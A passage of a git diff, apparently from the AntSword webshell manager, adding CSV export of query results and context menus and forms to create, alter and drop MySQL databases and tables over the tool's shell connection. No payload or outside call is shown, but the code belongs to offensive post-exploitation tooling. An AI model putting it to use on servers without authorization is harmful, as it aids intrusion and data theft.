'str,'
.
repeat
(
header_arr
.
length
)).
replace
(
/,$/
,
''
));
grid
.
setColSorting
((
'str,'
.
repeat
(
header_arr
.
length
)).
replace
(
/,$/
,
''
));
grid
.
setInitWidths
(
'*'
);
grid
.
setColumnMinWidth
(
100
,
header_arr
.
length
-
1
);
grid
.
setInitWidths
((
"100,"
.
repeat
(
header_arr
.
length
-
1
))
+
"*"
);
grid
.
setEditable
(
true
);
grid
.
setEditable
(
true
);
grid
.
init
();
grid
.
init
();
// 添加数据
// 添加数据
...
@@ -541,13 +543,32 @@ class ASP {
...
@@ -541,13 +543,32 @@ class ASP {
'rows'
:
grid_data
'rows'
:
grid_data
},
'json'
);
},
'json'
);
// 启用导出按钮
// 启用导出按钮
// this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump');
this
.
manager
.
result
.
toolbar
[
grid_data
.
length
>
0
?
'enableItem'
:
'disableItem'
](
'dump'
);
}
// 导出查询数据
dumpResult
()
{
const
grid
=
this
.
manager
.
result
.
layout
.
getAttachedObject
();
let
filename
=
`
${
this
.
core
.
__opts__
.
ip
}
_
${
new
Date
().
format
(
"yyyyMMddhhmmss"
)}
.csv`
;
antSword
[
'test'
]
=
this
;
dialog
.
showSaveDialog
({
title
:
LANG
[
'result'
][
'dump'
][
'title'
],
defaultPath
:
filename
},(
filePath
)
=>
{
if
(
!
filePath
)
{
return
;
};
let
headerStr
=
grid
.
hdrLabels
.
join
(
','
);
let
dataStr
=
grid
.
serializeToCSV
();
let
tempDataBuffer
=
new
Buffer
(
headerStr
+
'
\
n'
+
dataStr
);
fs
.
writeFileSync
(
filePath
,
tempDataBuffer
);
toastr
.
success
(
LANG
[
'result'
][
'dump'
][
'success'
],
LANG_T
[
'success'
]);
});
}
}
// 禁用toolbar按钮
// 禁用toolbar按钮
disableToolbar
()
{
disableToolbar
()
{
this
.
manager
.
list
.
toolbar
.
disableItem
(
'del'
);
this
.
manager
.
list
.
toolbar
.
disableItem
(
'del'
);
this
.
manager
.
list
.
toolbar
.
disableItem
(
'edit'
);
this
.
manager
.
list
.
toolbar
.
disableItem
(
'edit'
);
this
.
manager
.
result
.
toolbar
.
disableItem
(
'dump'
);
}
}
// 启用toolbar按钮
// 启用toolbar按钮
...
...
source/modules/database/custom/index.js
View file @
a94c3c48
...
@@ -525,8 +525,10 @@ class CUSTOM {
...
@@ -525,8 +525,10 @@ class CUSTOM {
const
grid
=
this
.
manager
.
result
.
layout
.
attachGrid
();
const
grid
=
this
.
manager
.
result
.
layout
.
attachGrid
();
grid
.
clearAll
();
grid
.
clearAll
();
grid
.
setHeader
(
header_arr
.
join
(
','
).
replace
(
/,$/
,
''
));
grid
.
setHeader
(
header_arr
.
join
(
','
).
replace
(
/,$/
,
''
));
grid
.
setColTypes
(
"txt,"
.
repeat
(
header_arr
.
length
).
replace
(
/,$/
,
''
));
grid
.
setColSorting
((
'str,'
.
repeat
(
header_arr
.
length
)).
replace
(
/,$/
,
''
));
grid
.
setColSorting
((
'str,'
.
repeat
(
header_arr
.
length
)).
replace
(
/,$/
,
''
));
grid
.
setInitWidths
(
'*'
);
grid
.
setColumnMinWidth
(
100
,
header_arr
.
length
-
1
);
grid
.
setInitWidths
((
"100,"
.
repeat
(
header_arr
.
length
-
1
))
+
"*"
);
grid
.
setEditable
(
true
);
grid
.
setEditable
(
true
);
grid
.
init
();
grid
.
init
();
// 添加数据
// 添加数据
...
@@ -541,13 +543,32 @@ class CUSTOM {
...
@@ -541,13 +543,32 @@ class CUSTOM {
'rows'
:
grid_data
'rows'
:
grid_data
},
'json'
);
},
'json'
);
// 启用导出按钮
// 启用导出按钮
// this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump');
this
.
manager
.
result
.
toolbar
[
grid_data
.
length
>
0
?
'enableItem'
:
'disableItem'
](
'dump'
);
}
// 导出查询数据
dumpResult
()
{
const
grid
=
this
.
manager
.
result
.
layout
.
getAttachedObject
();
let
filename
=
`
${
this
.
core
.
__opts__
.
ip
}
_
${
new
Date
().
format
(
"yyyyMMddhhmmss"
)}
.csv`
;
antSword
[
'test'
]
=
this
;
dialog
.
showSaveDialog
({
title
:
LANG
[
'result'
][
'dump'
][
'title'
],
defaultPath
:
filename
},(
filePath
)
=>
{
if
(
!
filePath
)
{
return
;
};
let
headerStr
=
grid
.
hdrLabels
.
join
(
','
);
let
dataStr
=
grid
.
serializeToCSV
();
let
tempDataBuffer
=
new
Buffer
(
headerStr
+
'
\
n'
+
dataStr
);
fs
.
writeFileSync
(
filePath
,
tempDataBuffer
);
toastr
.
success
(
LANG
[
'result'
][
'dump'
][
'success'
],
LANG_T
[
'success'
]);
});
}
}
// 禁用toolbar按钮
// 禁用toolbar按钮
disableToolbar
()
{
disableToolbar
()
{
this
.
manager
.
list
.
toolbar
.
disableItem
(
'del'
);
this
.
manager
.
list
.
toolbar
.
disableItem
(
'del'
);
this
.
manager
.
list
.
toolbar
.
disableItem
(
'edit'
);
this
.
manager
.
list
.
toolbar
.
disableItem
(
'edit'
);
this
.
manager
.
result
.
toolbar
.
disableItem
(
'dump'
);
}
}
// 启用toolbar按钮
// 启用toolbar按钮
...
...
source/modules/database/index.js
View file @
a94c3c48
//
//
// 数据库管理模块
// 数据库管理模块
//
//
// TODO: 数据管理模块目前的代码存在大量冗余,后期会考虑将 数据库驱动 与 core 分成两个块来做
// import React from 'react';
// import React from 'react';
// import ReactDOM from 'react-dom';
// import ReactDOM from 'react-dom';
// import AceEditor from 'react-ace';
// import AceEditor from 'react-ace';
...
@@ -158,14 +158,21 @@ class Database {
...
@@ -158,14 +158,21 @@ class Database {
layout
.
setText
(
`<i class="fa fa-inbox"></i>
${
LANG
[
'result'
][
'title'
]}
`
);
layout
.
setText
(
`<i class="fa fa-inbox"></i>
${
LANG
[
'result'
][
'title'
]}
`
);
// layout.hideHeader();
// layout.hideHeader();
// const toolbar = layout.attachToolbar();
const
toolbar
=
layout
.
attachToolbar
();
// toolbar.loadStruct([
toolbar
.
loadStruct
([
// { id: 'dump', text: '导出', icon: 'upload', type: 'button', disabled: true },
{
id
:
'dump'
,
text
:
'导出'
,
icon
:
'upload'
,
type
:
'button'
,
disabled
:
true
},
// { type: 'separator' }
{
type
:
'separator'
}
// ]);
]);
toolbar
.
attachEvent
(
'onClick'
,
(
id
)
=>
{
switch
(
id
)
{
case
'dump'
:
this
.
drive
.
dumpResult
();
break
;
}
});
return
{
return
{
layout
:
layout
,
layout
:
layout
,
//
toolbar: toolbar
toolbar
:
toolbar
};
};
}
}
...
...
source/modules/database/php/index.js
View file @
a94c3c48
...
@@ -5,6 +5,8 @@
...
@@ -5,6 +5,8 @@
const
LANG
=
antSword
[
'language'
][
'database'
];
const
LANG
=
antSword
[
'language'
][
'database'
];
const
LANG_T
=
antSword
[
'language'
][
'toastr'
];
const
LANG_T
=
antSword
[
'language'
][
'toastr'
];
const
dialog
=
antSword
.
remote
.
dialog
;
const
fs
=
require
(
'fs'
);
class
PHP
{
class
PHP
{
...
@@ -77,29 +79,170 @@ class PHP {
...
@@ -77,29 +79,170 @@ class PHP {
});
});
// 5. tree右键::功能菜单
// 5. tree右键::功能菜单
this
.
tree
.
attachEvent
(
'onRightClick'
,
(
id
,
event
)
=>
{
this
.
tree
.
attachEvent
(
'onRightClick'
,
(
id
,
event
)
=>
{
if
(
!
id
.
startsWith
(
'conn::'
))
{
return
};
this
.
tree
.
selectItem
(
id
);
this
.
tree
.
selectItem
(
id
);
this
.
tree
.
callEvent
(
'onClick'
,
[
id
]);
const
arr
=
id
.
split
(
'::'
);
bmenu
([
if
(
arr
.
length
<
2
)
{
throw
new
Error
(
'ID ERR: '
+
id
)
};
{
switch
(
arr
[
0
])
{
text
:
LANG
[
'list'
][
'menu'
][
'add'
],
case
'conn'
:
icon
:
'fa fa-plus-circle'
,
this
.
tree
.
callEvent
(
'onClick'
,
[
id
]);
action
:
this
.
addConf
.
bind
(
this
)
bmenu
([
},
{
{
divider
:
true
text
:
LANG
[
'list'
][
'menu'
][
'adddb'
],
},
{
icon
:
'fa fa-plus-circle'
,
text
:
LANG
[
'list'
][
'menu'
][
'edit'
],
action
:
this
.
addDatabase
.
bind
(
this
)
icon
:
'fa fa-edit'
,
},
action
:
this
.
editConf
.
bind
(
this
)
{
},
{
text
:
LANG
[
'list'
][
'menu'
][
'add'
],
divider
:
true
icon
:
'fa fa-plus-circle'
,
},
{
action
:
this
.
addConf
.
bind
(
this
)
text
:
LANG
[
'list'
][
'menu'
][
'del'
],
},
{
icon
:
'fa fa-remove'
,
divider
:
true
action
:
this
.
delConf
.
bind
(
this
)
},
{
}
text
:
LANG
[
'list'
][
'menu'
][
'edit'
],
],
event
);
icon
:
'fa fa-edit'
,
action
:
this
.
editConf
.
bind
(
this
)
},
{
divider
:
true
},
{
text
:
LANG
[
'list'
][
'menu'
][
'del'
],
icon
:
'fa fa-remove'
,
action
:
this
.
delConf
.
bind
(
this
)
}
],
event
);
break
;
case
'database'
:
this
.
tree
.
callEvent
(
'onClick'
,
[
id
]);
bmenu
([
{
text
:
LANG
[
'list'
][
'menu'
][
'addtable'
],
icon
:
'fa fa-plus-circle'
,
action
:
this
.
addTable
.
bind
(
this
)
},
{
text
:
LANG
[
'list'
][
'menu'
][
'adddb'
],
icon
:
'fa fa-plus-circle'
,
action
:
this
.
addDatabase
.
bind
(
this
)
},
{
divider
:
true
},
{
text
:
LANG
[
'list'
][
'menu'
][
'editdb'
],
icon
:
'fa fa-edit'
,
action
:
this
.
editDatabase
.
bind
(
this
)
},
{
divider
:
true
},
{
text
:
LANG
[
'list'
][
'menu'
][
'deldb'
],
icon
:
'fa fa-remove'
,
action
:
this
.
delDatabase
.
bind
(
this
)
}
],
event
);
break
;
case
'table'
:
this
.
tree
.
callEvent
(
'onClick'
,
[
id
]);
bmenu
([
{
text
:
LANG
[
'list'
][
'menu'
][
'addtable'
],
icon
:
'fa fa-plus-circle'
,
action
:
this
.
addTable
.
bind
(
this
)
},
{
divider
:
true
},
{
text
:
LANG
[
'list'
][
'menu'
][
'desctable'
],
icon
:
'fa fa-table'
,
action
:
this
.
descTable
.
bind
(
this
)
},
{
text
:
LANG
[
'list'
][
'menu'
][
'showcreatetable'
],
icon
:
'fa fa-info'
,
action
:
this
.
showcreateTable
.
bind
(
this
)
},
{
text
:
LANG
[
'list'
][
'menu'
][
'edittable'
],
icon
:
'fa fa-edit'
,
action
:
this
.
editTable
.
bind
(
this
)
},
{
divider
:
true
},
{
text
:
LANG
[
'list'
][
'menu'
][
'deltable'
],
icon
:
'fa fa-remove'
,
action
:
this
.
delTable
.
bind
(
this
)
}
],
event
);
break
;
case
'column'
:
this
.
tree
.
callEvent
(
'onClick'
,
[
id
]);
bmenu
([
{
text
:
LANG
[
'list'
][
'menu'
][
'editcolumn'
],
icon
:
'fa fa-edit'
,
action
:
this
.
editColumn
.
bind
(
this
)
},
{
text
:
LANG
[
'list'
][
'menu'
][
'delcolumn'
],
icon
:
'fa fa-remove'
,
action
:
this
.
delColumn
.
bind
(
this
)
},
],
event
);
break
;
}
// if (id.startsWith('conn::')) {
// this.tree.callEvent('onClick', [id]);
// bmenu([
// {
// text: LANG['list']['menu']['add'],
// icon: 'fa fa-plus-circle',
// action: this.addConf.bind(this)
// }, {
// divider: true
// }, {
// text: LANG['list']['menu']['edit'],
// icon: 'fa fa-edit',
// action: this.editConf.bind(this)
// }, {
// divider: true
// }, {
// text: LANG['list']['menu']['del'],
// icon: 'fa fa-remove',
// action: this.delConf.bind(this)
// }
// ], event);
// };
});
});
// mysql column type
// TODO:
// 1. column default value
// 2. character set
// 3. unsigned
this
.
mysqlcolumntypes
=
[
"tinyint"
,
"smallint"
,
"mediumint"
,
"int"
,
"integer"
,
"bigint"
,
"float"
,
"double"
,
"date"
,
"time"
,
"year"
,
"datetime"
,
"timestamp"
,
"char"
,
"varchar"
,
"tinytext"
,
"blob"
,
"text"
,
"mediumblob"
,
"mediumtext"
,
"longblob"
,
"longtext"
];
// mysql character set mapping
this
.
mysqlcsMapping
=
{
'default'
:
[
'default'
],
'utf8'
:
[
"utf8_general_ci"
,
"utf8_bin"
,
"utf8_unicode_ci"
,
"utf8_icelandic_ci"
,
"utf8_latvian_ci"
,
"utf8_romanian_ci"
,
"utf8_slovenian_ci"
,
"utf8_polish_ci"
,
"utf8_estonian_ci"
,
"utf8_spanish_ci"
,
"utf8_swedish_ci"
,
"utf8_turkish_ci"
,
"utf8_czech_ci"
,
"utf8_danish_ci"
,
"utf8_lithuanian_ci"
,
"utf8_slovak_ci"
,
"utf8_spanish2_ci"
,
"utf8_roman_ci"
,
"utf8_persian_ci"
,
"utf8_esperanto_ci"
,
"utf8_hungarian_ci"
,
"utf8_sinhala_ci"
,
"utf8_general_mysql500_ci"
,
],
'big5'
:
[
"big5_chinese_ci"
,
"big5_bin"
],
'dec8'
:
[
"dec8_swedish_ci"
,
"dec8_bin"
],
'cp850'
:
[
"cp850_general_ci"
,
"cp850_bin"
],
'hp8'
:
[
"hp8_general_ci"
,
"hp8_bin"
],
'koi8r'
:
[
"koi8_general_ci"
,
"koi8_bin"
],
'latin1'
:[
"latin1_german1_ci"
,
"latin1_swedish_ci"
,
"latin1_danish_ci"
,
"latin1_german2_ci"
,
"latin1_bin"
,
"latin1_general_ci"
,
"latin1_general_cs"
,
"latin1_spanish_ci"
],
'latin2'
:[
"latin2_czech_cs"
,
"latin2_general_ci"
,
"latin2_hungarian_ci"
,
"latin2_croatian_ci"
,
"latin2_bin"
,
],
'ascii'
:[
"ascii_general_ci"
,
"ascii_bin"
],
'euckr'
:[
"euckr_korean_ci"
,
"euckr_bin"
],
'gb2312'
:[
"gb2312_chinese_ci"
,
"gb2312_bin"
],
'gbk'
:[
"gbk_chinese_ci"
,
"gbk_bin"
],
'utf8mb4'
:
[
"utf8mb4_general_ci"
,
"utf8mb4_bin"
,
"utf8mb4_unicode_ci"
,
"utf8mb4_icelandic_ci"
,
"utf8mb4_latvian_ci"
,
"utf8mb4_romanian_ci"
,
"utf8mb4_slovenian_ci"
,
"utf8mb4_polish_ci"
,
"utf8mb4_estonian_ci"
,
"utf8mb4_spanish_ci"
,
"utf8mb4_swedish_ci"
,
"utf8mb4_turkish_ci"
,
"utf8mb4_czech_ci"
,
"utf8mb4_danish_ci"
,
"utf8mb4_lithuanian_ci"
,
"utf8mb4_slovak_ci"
,
"utf8mb4_spanish2_ci"
,
"utf8mb4_roman_ci"
,
"utf8mb4_persian_ci"
,
"utf8mb4_esperanto_ci"
,
"utf8mb4_hungarian_ci"
,
"utf8mb4_sinhala_ci"
,
],
'utf16'
:
[
"utf16_general_ci"
,
"utf16_bin"
,
"utf16_unicode_ci"
,
"utf16_icelandic_ci"
,
"utf16_latvian_ci"
,
"utf16_romanian_ci"
,
"utf16_slovenian_ci"
,
"utf16_polish_ci"
,
"utf16_estonian_ci"
,
"utf16_spanish_ci"
,
"utf16_swedish_ci"
,
"utf16_turkish_ci"
,
"utf16_czech_ci"
,
"utf16_danish_ci"
,
"utf16_lithuanian_ci"
,
"utf16_slovak_ci"
,
"utf16_spanish2_ci"
,
"utf16_roman_ci"
,
"utf16_persian_ci"
,
"utf16_esperanto_ci"
,
"utf16_hungarian_ci"
,
"utf16_sinhala_ci"
,
],
};
}
}
// 加载配置列表
// 加载配置列表
...
@@ -418,6 +561,678 @@ class PHP {
...
@@ -418,6 +561,678 @@ class PHP {
});
});
}
}
// 新增数据库
addDatabase
()
{
const
id
=
this
.
tree
.
getSelected
().
split
(
'::'
)[
1
].
split
(
":"
)[
0
];
// // 获取配置
// const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {
// _id: this.manager.opt['_id'],
// id: id
// });
const
hash
=
(
+
new
Date
*
Math
.
random
()).
toString
(
16
).
substr
(
2
,
8
);
switch
(
this
.
dbconf
[
'type'
]){
case
"mysqli"
:
case
"mysql"
:
// 创建窗口
const
win
=
this
.
manager
.
win
.
createWindow
(
hash
,
0
,
0
,
450
,
200
);
win
.
setText
(
LANG
[
'form'
][
'adddb'
][
'title'
]);
win
.
centerOnScreen
();
win
.
button
(
'minmax'
).
hide
();
win
.
setModal
(
true
);
win
.
denyResize
();
// form
const
form
=
win
.
attachForm
([
{
type
:
'settings'
,
position
:
'label-left'
,
labelWidth
:
90
,
inputWidth
:
250
},
{
type
:
'block'
,
inputWidth
:
'auto'
,
offsetTop
:
12
,
list
:
[
{
type
:
'input'
,
label
:
LANG
[
'form'
][
'adddb'
][
'dbname'
],
name
:
'dbname'
,
value
:
""
,
required
:
true
,
validate
:
"ValidAplhaNumeric"
,},
{
type
:
'combo'
,
label
:
LANG
[
'form'
][
'adddb'
][
'characterset'
],
readonly
:
true
,
name
:
'characterset'
,
options
:
(()
=>
{
let
ret
=
[];
Object
.
keys
(
this
.
mysqlcsMapping
).
map
((
_
)
=>
{
ret
.
push
({
text
:
_
,
value
:
_
,
});
})
return
ret
;
})()
},
{
type
:
'combo'
,
label
:
LANG
[
'form'
][
'adddb'
][
'charactercollation'
],
readonly
:
true
,
name
:
'charactercollation'
,
options
:
((
c
)
=>
{
let
ret
=
[];
this
.
mysqlcsMapping
[
c
].
map
((
_
)
=>
{
ret
.
push
({
text
:
_
,
value
:
_
,
});
});
return
ret
;
})(
"default"
)},
{
type
:
"block"
,
name
:
"btnblock"
,
className
:
"display: flex;flex-direction: row;align-items: right;"
,
offsetLeft
:
150
,
list
:[
{
type
:
"button"
,
name
:
"createbtn"
,
value
:
`<i class="fa fa-plus"></i>
${
LANG
[
'form'
][
'adddb'
][
'createbtn'
]}
`
},
{
type
:
'newcolumn'
,
offset
:
20
},
{
type
:
"button"
,
name
:
"cancelbtn"
,
value
:
`<i class="fa fa-ban"></i>
${
LANG
[
'form'
][
'adddb'
][
'cancelbtn'
]}
`
},
]}
]}
],
true
);
form
.
enableLiveValidation
(
true
);
// combo 联动
form
.
attachEvent
(
"onChange"
,(
_
,
id
)
=>
{
if
(
_
==
"characterset"
)
{
let
collcombo
=
form
.
getCombo
(
"charactercollation"
);
collcombo
.
clearAll
();
collcombo
.
setComboValue
(
null
);
let
ret
=
[];
this
.
mysqlcsMapping
[
id
].
map
((
_
)
=>
{
ret
.
push
({
text
:
_
,
value
:
_
,
});
});
collcombo
.
addOption
(
ret
);
collcombo
.
selectOption
(
0
);
}
});
form
.
attachEvent
(
"onButtonClick"
,
(
btnid
)
=>
{
switch
(
btnid
){
case
"createbtn"
:
if
(
form
.
validate
()
==
false
){
break
;}
let
formvals
=
form
.
getValues
();
let
charset
=
formvals
[
'characterset'
]
==
'default'
?
""
:
`DEFAULT CHARSET
${
formvals
[
'characterset'
]}
COLLATE
${
formvals
[
'charactercollation'
]}
`
;
let
sql
=
`CREATE DATABASE IF NOT EXISTS
${
formvals
[
'dbname'
]}
${
charset
}
;`
this
.
execSQLAsync
(
sql
,
(
res
,
err
)
=>
{
if
(
err
){
toastr
.
error
(
LANG
[
'result'
][
'error'
][
'query'
](
err
[
'status'
]
||
JSON
.
stringify
(
err
)),
LANG_T
[
'error'
]);
return
;
}
let
data
=
res
[
'text'
];
let
arr
=
data
.
split
(
'
\
n'
);
if
(
arr
.
length
<
2
)
{
return
toastr
.
error
(
LANG
[
'result'
][
'error'
][
'parse'
],
LANG_T
[
'error'
]);
};
if
(
arr
[
1
].
indexOf
(
"VHJ1ZQ=="
)
!=
-
1
){
// 操作成功
toastr
.
success
(
LANG
[
'form'
][
'adddb'
][
'success'
]
,
LANG_T
[
'success'
]);
win
.
close
();
// refresh
this
.
getDatabases
(
id
);
return
}
toastr
.
error
(
LANG
[
'form'
][
'adddb'
][
'error'
],
LANG_T
[
'error'
]);
return
});
// 创建
break
case
"cancelbtn"
:
win
.
close
();
break
;
}
});
break
;
default
:
toastr
.
warning
(
LANG
[
'notsupport'
],
LANG_T
[
'warning'
]);
break
;
}
}
editDatabase
()
{
// 获取配置
const
id
=
this
.
tree
.
getSelected
().
split
(
'::'
)[
1
].
split
(
":"
)[
0
];
let
dbname
=
new
Buffer
(
this
.
tree
.
getSelected
().
split
(
'::'
)[
1
].
split
(
":"
)[
1
],
"base64"
).
toString
();
const
hash
=
(
+
new
Date
*
Math
.
random
()).
toString
(
16
).
substr
(
2
,
8
);
switch
(
this
.
dbconf
[
'type'
]){
case
"mysqli"
:
case
"mysql"
:
let
sql
=
`SELECT SCHEMA_NAME,DEFAULT_CHARACTER_SET_NAME,DEFAULT_COLLATION_NAME FROM \`information_schema\`.\`SCHEMATA\` where \`SCHEMA_NAME\`="
${
dbname
}
";`
this
.
execSQLAsync
(
sql
,
(
res
,
err
)
=>
{
if
(
err
){
toastr
.
error
(
LANG
[
'result'
][
'error'
][
'query'
](
err
[
'status'
]
||
JSON
.
stringify
(
err
)),
LANG_T
[
'error'
]);
return
;
}
let
result
=
this
.
parseResult
(
res
[
'text'
]);
dbname
=
result
.
datas
[
0
][
0
]
let
characterset
=
result
.
datas
[
0
][
1
]
||
"default"
let
collation
=
result
.
datas
[
0
][
2
]
||
"default"
// 创建窗口
const
win
=
this
.
manager
.
win
.
createWindow
(
hash
,
0
,
0
,
450
,
200
);
win
.
setText
(
LANG
[
'form'
][
'editdb'
][
'title'
]);
win
.
centerOnScreen
();
win
.
button
(
'minmax'
).
hide
();
win
.
setModal
(
true
);
win
.
denyResize
();
// form
const
form
=
win
.
attachForm
([
{
type
:
'settings'
,
position
:
'label-left'
,
labelWidth
:
90
,
inputWidth
:
250
},
{
type
:
'block'
,
inputWidth
:
'auto'
,
offsetTop
:
12
,
list
:
[
{
type
:
'input'
,
label
:
LANG
[
'form'
][
'editdb'
][
'dbname'
],
name
:
'dbname'
,
readonly
:
true
,
value
:
dbname
,
required
:
true
,
validate
:
"ValidAplhaNumeric"
,},
{
type
:
'combo'
,
label
:
LANG
[
'form'
][
'editdb'
][
'characterset'
],
readonly
:
true
,
name
:
'characterset'
,
options
:
(()
=>
{
let
ret
=
[];
Object
.
keys
(
this
.
mysqlcsMapping
).
map
((
_
)
=>
{
ret
.
push
({
text
:
_
,
value
:
_
,
});
})
return
ret
;
})()
},
{
type
:
'combo'
,
label
:
LANG
[
'form'
][
'editdb'
][
'charactercollation'
],
readonly
:
true
,
name
:
'charactercollation'
,
options
:
((
c
)
=>
{
let
ret
=
[];
this
.
mysqlcsMapping
[
c
].
map
((
_
)
=>
{
ret
.
push
({
text
:
_
,
value
:
_
,
});
});
return
ret
;
})(
"default"
)},
{
type
:
"block"
,
name
:
"btnblock"
,
className
:
"display: flex;flex-direction: row;align-items: right;"
,
offsetLeft
:
150
,
list
:[
{
type
:
"button"
,
name
:
"updatebtn"
,
value
:
`<i class="fa fa-pen"></i>
${
LANG
[
'form'
][
'editdb'
][
'updatebtn'
]}
`
},
{
type
:
'newcolumn'
,
offset
:
20
},
{
type
:
"button"
,
name
:
"cancelbtn"
,
value
:
`<i class="fa fa-ban"></i>
${
LANG
[
'form'
][
'editdb'
][
'cancelbtn'
]}
`
},
]}
]}
],
true
);
form
.
enableLiveValidation
(
true
);
// combo 联动
form
.
attachEvent
(
"onChange"
,(
_
,
id
)
=>
{
if
(
_
==
"characterset"
)
{
let
collcombo
=
form
.
getCombo
(
"charactercollation"
);
collcombo
.
clearAll
();
collcombo
.
setComboValue
(
null
);
let
ret
=
[];
this
.
mysqlcsMapping
[
id
].
map
((
_
)
=>
{
ret
.
push
({
text
:
_
,
value
:
_
,
});
});
collcombo
.
addOption
(
ret
);
collcombo
.
selectOption
(
0
);
}
});
let
cscombo
=
form
.
getCombo
(
"characterset"
);
cscombo
.
selectOption
(
Object
.
keys
(
this
.
mysqlcsMapping
).
indexOf
(
characterset
));
let
collcombo
=
form
.
getCombo
(
"charactercollation"
);
collcombo
.
selectOption
(
this
.
mysqlcsMapping
[
characterset
].
indexOf
(
collation
));
form
.
attachEvent
(
"onButtonClick"
,
(
btnid
)
=>
{
switch
(
btnid
){
case
"updatebtn"
:
if
(
form
.
validate
()
==
false
){
break
;}
let
formvals
=
form
.
getValues
();
let
charset
=
formvals
[
'characterset'
]
==
'default'
?
""
:
`DEFAULT CHARSET
${
formvals
[
'characterset'
]}
COLLATE
${
formvals
[
'charactercollation'
]}
`
;
let
sql
=
`ALTER DATABASE
${
dbname
}
${
charset
}
;`
this
.
execSQLAsync
(
sql
,
(
res
,
err
)
=>
{
if
(
err
){
toastr
.
error
(
LANG
[
'result'
][
'error'
][
'query'
](
err
[
'status'
]
||
JSON
.
stringify
(
err
)),
LANG_T
[
'error'
]);
return
;
}
let
data
=
res
[
'text'
];
let
arr
=
data
.
split
(
'
\
n'
);
if
(
arr
.
length
<
2
)
{
return
toastr
.
error
(
LANG
[
'result'
][
'error'
][
'parse'
],
LANG_T
[
'error'
]);
};
if
(
arr
[
1
].
indexOf
(
"VHJ1ZQ=="
)
!=
-
1
){
// 操作成功
toastr
.
success
(
LANG
[
'form'
][
'editdb'
][
'success'
]
,
LANG_T
[
'success'
]);
win
.
close
();
// refresh
this
.
getDatabases
(
id
);
return
}
toastr
.
error
(
LANG
[
'form'
][
'editdb'
][
'error'
],
LANG_T
[
'error'
]);
return
});
// 修改
break
case
"cancelbtn"
:
win
.
close
();
break
;
}
});
});
break
;
default
:
toastr
.
warning
(
LANG
[
'notsupport'
],
LANG_T
[
'warning'
]);
break
;
}
}
delDatabase
()
{
// 获取配置
const
id
=
this
.
tree
.
getSelected
().
split
(
'::'
)[
1
].
split
(
":"
)[
0
];
let
dbname
=
new
Buffer
(
this
.
tree
.
getSelected
().
split
(
'::'
)[
1
].
split
(
":"
)[
1
],
"base64"
).
toString
();
layer
.
confirm
(
LANG
[
'form'
][
'deldb'
][
'confirm'
](
dbname
),
{
icon
:
2
,
shift
:
6
,
title
:
LANG
[
'form'
][
'deldb'
][
'title'
]
},
(
_
)
=>
{
layer
.
close
(
_
);
switch
(
this
.
dbconf
[
'type'
]){
case
"mysqli"
:
case
"mysql"
:
let
sql
=
`drop database
${
dbname
}
;`
this
.
execSQLAsync
(
sql
,
(
res
,
err
)
=>
{
if
(
err
){
toastr
.
error
(
LANG
[
'result'
][
'error'
][
'query'
](
err
[
'status'
]
||
JSON
.
stringify
(
err
)),
LANG_T
[
'error'
]);
return
;
}
let
result
=
this
.
parseResult
(
res
[
'text'
]);
if
(
result
.
datas
[
0
][
0
]
==
'True'
){
toastr
.
success
(
LANG
[
'form'
][
'deldb'
][
'success'
],
LANG_T
[
'success'
]);
this
.
getDatabases
(
id
);
}
else
{
toastr
.
error
(
LANG
[
'form'
][
'deldb'
][
'error'
],
LANG_T
[
'error'
]);
}
});
break
;
default
:
toastr
.
warning
(
LANG
[
'notsupport'
],
LANG_T
[
'warning'
]);
break
;
}
});
}
// 新增表
addTable
()
{
// 获取配置
const
id
=
this
.
tree
.
getSelected
().
split
(
'::'
)[
1
].
split
(
":"
)[
0
];
let
dbname
=
new
Buffer
(
this
.
tree
.
getSelected
().
split
(
'::'
)[
1
].
split
(
":"
)[
1
],
"base64"
).
toString
();
const
hash
=
(
+
new
Date
*
Math
.
random
()).
toString
(
16
).
substr
(
2
,
8
);
switch
(
this
.
dbconf
[
'type'
]){
case
"mysqli"
:
case
"mysql"
:
// let sql = `CREATE TABLE IF NOT EXISTS \`table_name\` (
// \`id\` INT UNSIGNED AUTO_INCREMENT,
// \`title\` VARCHAR(100) NOT NULL,
// PRIMARY KEY ( \`id\` )
// );`;
// this.manager.query.editor.session.setValue(sql);
const
win
=
this
.
manager
.
win
.
createWindow
(
hash
,
0
,
0
,
600
,
400
);
win
.
setText
(
LANG
[
'form'
][
'addtable'
][
'title'
]);
win
.
centerOnScreen
();
win
.
button
(
'minmax'
).
hide
();
win
.
setModal
(
true
);
win
.
denyResize
();
const
toolbar
=
win
.
attachToolbar
();
toolbar
.
loadStruct
([{
id
:
'add'
,
type
:
'button'
,
icon
:
'plus-circle'
,
text
:
LANG
[
'form'
][
'addtable'
][
'add'
],
},
{
type
:
'separator'
},
{
id
:
'delete'
,
type
:
'button'
,
icon
:
'remove'
,
text
:
LANG
[
'form'
][
'addtable'
][
'delete'
]
},{
id
:
'save'
,
type
:
'button'
,
icon
:
'save'
,
text
:
LANG
[
'form'
][
'addtable'
][
'save'
]
}]);
dhtmlxValidation
.
hasOwnProperty
(
"isValidPositiveInteger"
)
?
""
:
dhtmlxValidation
.
isValidPositiveInteger
=
(
a
)
=>
{
return
!!
a
.
toString
().
match
(
/
(
^
\d
+$
)
/
);}
const
grid
=
win
.
attachGrid
();
grid
.
clearAll
();
// Name,Type,Length,Not Null,Key,Auto Increment
grid
.
setHeader
(
LANG
[
'form'
][
'addtable'
][
'gridheader'
]);
grid
.
setInitWidths
(
'*,100,80,80,50,130'
);
grid
.
setColTypes
(
"ed,co,edn,acheck,acheck,acheck"
);
grid
.
setColValidators
([
"ValidAplhaNumeric"
,
"NotEmpty"
,
"ValidPositiveInteger"
,
"ValidBoolean"
,
"ValidBoolean"
,
"ValidBoolean"
]);
grid
.
setEditable
(
true
);
const
combobox
=
grid
.
getCombo
(
1
);
this
.
mysqlcolumntypes
.
forEach
(
v
=>
{
combobox
.
put
(
v
,
v
);
});
grid
.
enableEditEvents
(
false
,
true
,
true
);
grid
.
enableEditTabOnly
(
true
);
grid
.
init
();
grid
.
clearAll
();
grid
.
attachEvent
(
"onCheck"
,
(
rId
,
cInd
,
state
)
=>
{
if
(
state
==
true
){
switch
(
cInd
){
case
4
:
let
c3
=
grid
.
cells
(
rId
,
3
);
c3
.
setChecked
(
true
);
break
;
}
}
});
// grid.attachEvent("onValidationError", (rid,index,value,rule)=>{
// // toolbar.disableItem('save');
// let idx = grid.getRowIndex(rid);
// // grid.editStop();
// grid.selectCell(idx, index);
